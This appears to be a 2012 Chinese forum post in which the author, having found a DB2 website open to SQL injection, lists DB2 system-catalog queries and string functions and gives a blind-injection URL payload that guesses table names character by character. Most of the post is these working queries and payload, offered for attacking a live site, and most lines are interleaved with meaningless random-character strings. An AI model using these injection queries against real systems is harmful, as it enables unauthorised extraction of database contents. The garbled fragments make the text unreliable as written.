使用DB2的人比较少了，今天碰到了一个可供注入的DB2网站，想试试身手。不过在网上很难找到相关的资料，只好自己研究了。 : z/ o, J% k- I: U
参考了IBM DB2的文档，总结了这样几条： , N% n4 v8 |- g4 o2 ^
1、select NAME from SYSIBM.SYSTABLES where CREATOR =USER 0 w) P; p; X' [9 R- }; e$ @5 c% |
可以返回系统中所有用户创建的表（table）名
+ P7 p$ \/ ]" b# X2 ` w$ q g2、select NAME from SYSIBM.SYSCOLUMNS where TBCREATOR = '' and TBNAME='' + X! J, d6 a; V/ }) r, b/ ?3 b( i
返回表中的列名
- e1 q" u( ^+ {: J" w. M3、select NAME from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY & Z( G& v# y3 }8 ~$ m5 Z) l4 \
这是最关键的地方，返回第一条记录，类似于sql server中的top 1
0 V! I( w! q0 e( e( W- W4、SUBSTR(string, position, length)
# g9 z# n3 d7 T2 y. |, d返回字符串子串的函数，类似于mid ; |0 Q+ ]+ y3 l
5、ASCII()这个就不用多说了。 * C! t0 S* y7 J, J9 E- g
有了这些语句和函数，我们就可以很方便的用ascii拆半法猜出所有的table名，字段名，以及其中的数据了。
% V! [6 ]( h3 n6 h% B/ O: o. f% F例如判断第一个table的名称的第一个字符的ascii码是否大于50： $ [+ v+ g5 Q" W0 r
http://*.com?test.jsp?id=1 and (select ASCII(SUBSTR(NAME,1,1)) from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY)>50 -- % ~, S5 L2 A! i) t
; l2 S! r2 I5 j6 k
http://blog.waynedeng.com/blogview.asp?logID=543 * S$ d% w! W$ P \6 M. C
|
发表于 2012-9-15 14:06:51
收藏
支持
反对